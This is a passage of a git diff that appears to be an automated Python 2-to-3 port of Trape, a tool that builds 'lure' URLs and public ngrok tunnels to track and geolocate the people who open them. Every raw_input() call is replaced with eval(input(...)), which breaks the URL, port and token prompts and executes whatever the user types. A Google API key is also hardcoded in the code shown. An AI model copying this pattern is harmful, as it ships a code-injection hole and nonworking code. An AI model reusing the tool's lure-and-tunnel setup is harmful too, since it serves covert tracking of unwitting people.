"]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("") - options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + options.url = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) if options.port is None: - options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + options.port = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) while utils.checkPort(int(options.port)) == False: utils.Go("\033[H\033[J") @@ -118,10 +118,10 @@ def __init__(self, stat = 0): utils.Go("----------------------------------------------") utils.Go("\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") - options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + options.port = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) #while utils.checkUrl(str(options.url)) == False: - options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + options.url = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) utils.Go("") @@ -143,7 +143,7 @@ def __init__(self, stat = 0): if (options.ngrok or (self.ngrok != "")): if self.ngrok == '': utils.Go("\033[H\033[J") - self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + self.ngrok = eval(input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) if (self.ngrok != ''): from core.ngrok import ngrok import os.path as path @@ -190,7 +190,7 @@ def header(self): if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: - opener = urllib2.build_opener() + opener = urllib.request.build_opener() pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) @@ -248,20 +248,20 @@ def trape_config(self): utils.Go("------") utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") utils.Go("") - c_nGrokToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + c_nGrokToken = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) utils.Go("") utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) utils.Go("------") utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") utils.Go("") - c_gMapsToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - c_gOoglToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + c_gMapsToken = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) + c_gOoglToken = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) utils.Go("") utils.Go(utils.Color['whiteBold'] + "IP INFO API" + utils.Color['white']) utils.Go("------") utils.Go("You must register with the " + utils.Color['blueBold'] + "https://ipgeolocation.io" + utils.Color['white'] + ", and get an API for geolocation. \nBy having these data you complete the settings") utils.Go("") - c_ipinfo = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + c_ipinfo = eval(input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) utils.Go("") diff --git a/core/utils.py b/core/utils.py index 06cfbb9..3584a1b 100755 --- a/core/utils.py +++ b/core/utils.py @@ -18,9 +18,10 @@ import os import socket import time -import requests, json -from colorama import init , Style,Fore -import httplib +import requests +import json +from .colorama import init , Style,Fore +import http.client init() class utils: @@ -136,7 +137,7 @@ def checkPort(port): @staticmethod def checkUrl(url): - c = httplib.HTTPConnection(url, timeout=5) + c = http.client.HTTPConnection(url, timeout=5) try: c.request("HEAD", "/") c.close() diff --git a/trape.py b/trape.py index 8bc17d3..f811fef 100755 --- a/trape.py +++ b/trape.py @@ -23,7 +23,8 @@ from core.utils import utils # from core.trape import Trape # from core.db import Database # -from time import sleep # +from time import sleep # +import os # try: # import flask # import flask_socketio # @@ -67,7 +68,7 @@ utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "TWITTER: " + utils.Color['white'] + "https://twitter.com/jofpin" + utils.Color['white'] + "\n") sleep(3) utils.Go("Press enter to Continue...") - raw_input() + eval(input()) # check OS trackPeople.loadCheck()